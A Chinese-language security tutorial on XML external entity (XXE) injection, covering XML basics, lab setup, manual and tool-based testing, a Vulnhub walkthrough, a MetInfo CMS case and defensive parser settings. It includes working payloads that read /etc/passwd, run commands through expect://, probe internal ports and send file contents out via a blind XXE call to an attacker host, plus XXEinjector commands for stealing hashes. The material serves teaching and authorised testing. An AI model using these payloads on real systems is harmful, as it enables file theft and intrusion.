[红日安全]Web安全Day8 - XXE实战攻防
本文由红日安全成员： ruanruan 编写，如有不当，还望斧正。
大家好，我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫 Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（sec-redclub@qq.com）联系我们。
1. XXE概述
XXE（XML External Entity Injection）即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
下面我们主要介绍PHP语言下的XXE攻击.
1.1 XML基础
XML是可扩展的标记语言（eXtensible Markup Language），设计用来进行数据的传输和存储。
1.1.1文档结构
XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>1.1.2 DTD
文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
（1）内部的 DOCTYPE 声明<!DOCTYPE 根元素 [元素声明]>
（2）外部文档声明<!DOCTYPE 根元素 SYSTEM ”文件名”>
1.1.3 DTD实体
（1）内部实体声明<!ENTITY 实体名称 ”实体的值”>
（2）外部实体声明<!ENTITY 实体名称 SYSTEM ”URI”>
（3）参数实体声明<!ENTITY %实体名称 ”实体的值”>或者<!ENTITY %实体名称 SYSTEM ”URI”>
三种实体声明方式使用区别：
参数实体用%实体名称申明，引用时也用%实体名称;
其余实体直接用实体名称申明，引用时用&实体名称。
参数实体只能在DTD中申明，DTD中引用；
其余实体只能在DTD中申明，可在xml文档中引用。
1.2 XXE原理
XXE即XML外部实体注入 。我们先分别理解一下注入和外部实体的含义。
注入：是指XML数据在传输过程中被修改，导致服务器执行了修改后的恶意代码，从而达到攻击目的。
外部实体：则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。
1.3 XXE分类
下面我们对XXE进行一下分类，按照构造外部实体声明的方法不同可分为直接通过DTD外部实体声明、通过DTD文档引入外部DTD文档中的外部实体声明和通过DTD外部实体声明引入外部DTD文档中的外部实体声明。按照XXE回显信息不同可分为正常回显XXE、报错XXE和Blind XXE。
1.3.1 按构造外部实体声明
1.3.1.1 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>1.3.1.2 通过DTD文档引入外部DTD文档中的外部实体声明
XML文件内容：
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<hhh>&f;<hhh>DTD文件内容：
<!ENTITY f SYSTEM "file:///etc/passwd">1.3.1.3 通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>
<hhh>&f;<hhh>Quan.dtd的外部实体声明内容：
<!ENTITY f SYSTEM "file:///etc/passwd">1.3.2 按输出信息
1.3.2.1正常回显XXE
正常回显XXE是最传统的XXE攻击,在利用过程中服务器会直接回显信息，可直接完成XXE攻击。
1.3.2.2 报错XXE
报错XXE是回显XXE攻击的一种特例,它与正常回显XXE的不同在于它在利用过程中服务器回显的是错误信息，可根据错误信息的不同判断是否注入成功。
1.3.2.3 Blind XXE
当服务器没有回显，我们可以选择使用Blind XXE。与前两种XXE不同之处在于Blind XXE无回显信息,可组合利用file协议来读取文件或http协议和ftp协议来查看日志。
Blind XXE主要使用了DTD约束中的参数实体和内部实体。
在XML基础有提到过参数实体的定义，这里就不再做详细讲解。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
<?xml version="1.0"?>
<!DOCTYPE Note[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://攻击者主机IP/Quan.xml">
%remote;
%all;
]>
<root>&send;</root>Quan.xml内容：
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">%remote引入外部XML文件到这个 XML 中，%all检测到send实体，在 root 节点中引入 send 实体，便可实现数据转发。
利用过程：第3行，存在漏洞的服务器会读出file的内容（c:/1.txt），通过Quan.xml带外通道发送给攻击者服务器上的1.php，1.php做的事情就是把读取的数据保存到本地的1.txt中，完成Blind XXE攻击。
2. 危害
当允许引用外部实体时，通过构造恶意内容，可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
2.1 读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件，还可利用PHP伪协议。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<hhh>&f;<hhh>XML在各语言下支持的协议有:
2.2 执行系统命令
这种情况很少发生，但在配置不当/开发内部应用情况下（PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上），攻击者能够通过XXE执行代码。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://id">
]>
<hhh>&f;<hhh>2.3 探测内网端口
可根据返回信息内容判断该端口是否打开。若测试端口返回“Connection refused”则可以知道该端口是closed的，否则为open。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>3.测试方法
在进行手工测试之前先介绍几个测试XXE漏洞常用的靶场，包括靶场的安装、环境配置以及使用方法。
3.1 测试靶场介绍
3.1.1 PHP靶场－bWAPP
bwapp是一款非常好用的漏洞演示平台，包含有100多个漏洞。开源的php应用后台Mysql数据库。
3.1.1.1 安装
BWAPP有两种安装方式，一种是单独安装，需部署在Apache＋PHP＋Mysql环境下；一种是虚拟机导入，下载后直接用VMWare打开即可。
下面分别介绍两种方式的安装方法。
1）单独安装
由于需要部署在Apache＋PHP＋Mysql环境下，我们可以直接使用集成环境，这里笔者使用的是PHPStudy，PHPStudy的安装及使用在此就不做介绍了。
（1）下载链接：
https://sourceforge.net/projects/bwapp/files/latest/download
（2）安装步骤：
Ａ．下载后解压文件，将文件放在WWW目录下
Ｂ．在admin/settings．php下更改数据库连接设置
同时也能在文件下方看到默认登录账户名及密码，可按需更改
Ｃ．运行PHPStudy，然后在浏览器打开http://127.0.0.1/bWAPP/install.php
点击here创建数据库
Ｄ．安装成功，进入靶场主界面
（3）使用方法：
账户名及密码：bee/bug
可在右上方选择漏洞和安全级别进行测试
3.1.1.2 虚拟机导入
虚拟机版本能够测试的漏洞更多，比如破壳漏洞，心脏滴血漏洞等在单独安装的环境下无法测试。
（1）下载链接：
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
（2）安装步骤
下载后解压，打开VMWare，在打开虚拟机选项中进入bee－box文件选择bee－box．vmx即可。
选择NAT模式，开启虚拟机即可进入主界面
（3）使用方法：
登录：bee/bug；安全等级可选；低-中-高
方法一：直接在bee-box虚拟机中使用，点击bWAPP-Start即可进入登陆页面,登录后在右上方找到XXE漏洞，选择测试等级
方法二：查看虚拟机IP，在物理机浏览器访问http://虚拟机IP地址/bWAPP/login.php进行登录，登录后在右上方找到XXE漏洞，选择测试等级
3.1.2 java靶场--webGoat
3.1.2.1 webGoat简介
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，当前提供的训练课程有30多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
3.1.2.2 WebGoat安装
（1）下载链接
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
（2）安装JDK
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
需为最新JDK版本
（3）启动
java -jar webgoat-server-8.0.0.M25.jar
WebGoat默认是127.0.0.1:8080
java -jar webwolf-8.0.0.M25.jar
Webwolf默认9090端口
可修改IP和端口参数
java -jar webgoat-server-8.0.0.M25.jar --server.port=8000 --server.address=0.0.0.0
（4）在浏览器中访问127.0.0.1:8080/WebGoat(区分大小写)，进入WebGoat
3.1.3 DSVW靶场
3.1.3.1 DSVW简介
Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库
3.1.3.2 安装步骤
（1）安装lxml
apt-get install python-lxml
（2）下载靶场
git clone https://github.com/stamparm/DSVW.git
（3）运行脚本
python dsvw.py
（4）浏览器访问http://127.0.0.1:65412
出现下图页面则安装成功
3.1.4 xxe-lab
3.1.4.1 靶场介绍
xxe-lab是一个使用php,java,python,C#四种当下最常用语言的网站编写语言来编写的一个存在xxe漏洞的web demo。由于xxe的payload在不同的语言内置的xml解析器中解析效果不一样，为了研究它们的不同。作者分别使用当下最常用的四种网站编写语言写了存在xxe漏洞的web demo,将这些demoe整合为xxe-lab。
3.1.4.2 靶场安装
下载链接：https://github.com/c0ny1/xxe-lab
(1)PHP下安装
将php-xxe放入PHPStudy的WWW目录下即可
(2)Java下安装
java_xxe是serlvet项目，直接导入eclipse当中即可部署运行。
(3)Python下安装
A.安装Flask模块
B.python xxe.py
3.2 手工测试
这里笔者选用bWAPP虚拟机靶场对回显XXE和Blind XXE进行手工测试。
3.2.1 Low等级
3.2.1.1测试过程
Bug：选择XML External Entity Attacks (XXE)
Security level：选择low
点击Any bugs?进行抓包，发送到Repeater
根据请求包内容可知，xxe-1.php 文件中将接收到的XML文件以POST方式发送给xxe-2.php，安全等级为0。
读取网站任意文件Payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136/bWAPP/robots.txt">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>读取成功
内网端口检测 payload：
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.246.136:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>探测80端口，显示报错信息
netstat -tln查看本机已开放哪些端口
23端口未开放，报错信息也与探测开放端口的报错信息不同
由于此靶场没有BlindXXE漏洞，但我们可以运用BlindXXE的思路来做一下测试
先构造XXE的文件读取payload
假设没有回显,想知道是否成功读取目标服务器文件，可通过查看日志
从日志可知利用XXE成功读取文件。
将payload中的robots.txt改为不存在的hhh，再查看一下日志，可以看到404,目标服务器不存在该目录。
测试就到这里，下面我们分析一下Low级别的源码
3.2.1.2 源码分析
bWAPP/xxe-2.php关键代码
xxe-2.php文件通过PHP伪协议接收XML内容，然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中，未做任何过滤，最后再将从xml中获取的login元素值直接回显。
3.2.2 Medium\High等级
用读取robots.txt的代码测试一下，未返回文件内容
分析一下源码
bWAPP/xxe-2.php关键代码
可以发现Medium\High等级为相同代码。
与Low级别一样，xxe-2.php文件通过PHP伪协议接收XML内容，然后使用simplexml_load_string() 函数直接把 XML 字符串载入对象中，未做任何过滤。
但不同之处在于login元素值是从session中获取，攻击者无法利用login元素来进行XXE攻击。
3.3 工具测试
3.3.1 Collaborator插件
3.3.1.1 工具介绍
Burp Collaborator是从Burp suite v1.6.15版本添加的新功能，它几乎是一种全新的渗透测试方法，常用于测试不回显信息的漏洞。Burp Collaborator会渐渐支持blind XSS，SSRF， asynchronous code injection等其他还未分类的漏洞类型。
3.3.1.2 安装过程
Burpsuite的extender模块下的bapp store ,找到 Collaborator点击安装即可。
安装后默认使用官方提供的服务器（推荐），也可以自己搭
3.3.1.3 测试过程
由于小蜜蜂靶场没有BlindXXE漏洞，我们继续假装它就是没回显
先抓取数据包，并修改为如下payload
再点击Burp Collaborator client打开 collaborator 插件
再点击Copy to clipboard复制payload url，该url随机生成
然后使用Collaborator生成的payload url
点击go后可以在Collaborator看到访问记录
响应包返回一串随机内容，说明成功进行了响应，目标服务器进行了外部的请求和交互，证明存在Blind XXE。
3.3.2 XXEinjector
3.3.2.1 工具介绍
XXEinjector是一款基于Ruby的XXE注入工具，它可以使用多种直接或间接带外方法来检索文件。其中，目录枚举功能只对Java应用程序有效，而暴力破解攻击需要使用到其他应用程序。
3.3.2.2 安装过程
下载链接：https://github.com/enjoiz/XXEinjector
（1）安装Ruby环境
apt-get update //更新源
apt-get install ruby//安装ruby
ruby -v//查看ruby版本
（2）安装gem
gem list
gem install [gem-name]
gem environment
（3）下载工具然后解压，在进入此目录调用XXEinjector.rb即可
unzip XXEinjector-master.zip
3.3.2.3 使用方法
(1)枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
(2)使用gopher（OOB方法）枚举/etc目录：
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
(3)二次漏洞利用
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
(4)使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
(5)通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
(6)枚举未过滤的端口
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
(7)窃取Windows哈希
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
(8)使用Java jar上传文件：
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
(9)使用PHP expect执行系统指令
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
(10)测试XSLT注入
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
(11)记录请求信息
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
4. 真实实战演练
这里选取vulnhub实战虚拟机靶场来进行实战，主要包括以下内容
4.1 靶场介绍
Haboob团队为发布的论文“XML外部实体注入 - 解释和利用”https://www.exploit-db.com/docs/45374制作了这个虚拟机，以利用专用网络中的漏洞。
4.2 靶场安装
镜像下载链接：https://download.vulnhub.com/xxe/XXE.zip
下载后直接解压导入虚拟机即可。默认NAT模式，DHCP服务会自动分配一个IP地址。
4.3 靶场实战演示
探测IP
可以从扫描结果得出，80端口开放，中间件是Apache，从robots.txt中得出有/xxe/目录和/admin.php文件
访问/xxe/目录
随便输个admin,password,然后抓包
改成读取本机文件payload，成功读取flagmeout.php
发送到Decoder进行Base64解密
5. CMS实战演练
选取Metinfo6.0.0进行XXE漏洞实战攻击测试。
5.1 CMS介绍
米拓企业建站系统主要用于搭建企业网站，采用PHP+Mysql架构，全站内置了SEO搜索引擎优化机制，支持用户自定义界面语言(全球各种语言)，支持可视化傻瓜式操作、拥有企业网站常用的模块功能（企业简介模块、新闻模块、产品模块、下载模块、图片模块、招聘模块、在线留言、反馈系统、在线交流、友情链接、网站地图、会员与权限管理）。
5.2 CMS安装
5.2.1 下载地址
https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
5.2.2 安装步骤
下载好后解压放到WWW目录即可,记得更改数据库密码。
5.3 CMS漏洞介绍
漏洞发生在此处文件：app/system/pay/web/pay.class.php
漏洞成因：未禁止外部实体加载
5.4 CMS实战演示
审计源码时搜索simplexml_load_string函数，找到漏洞文件app/system/pay/web/pay.class.php
未禁止外部实体加载，测试是否存在外部实体引用。
如果回显报错可能是PHP版本问题，更改php.ini设置即可。
通过查看日志可以知道已成功访问目标服务器。
5.5 修复建议
更新MetInfo版本，v6.1.0已删除pay.class.php文件。
6.防御方法
6.1 过滤用户提交的XML数据
过滤关键词：<!DOCTYPE和<!ENTITY，或者SYSTEM和PUBLIC
6.2 PHP下
libxml_disable_entity_loader(true);
6.3 JAVA下
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
6.4 Python下
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
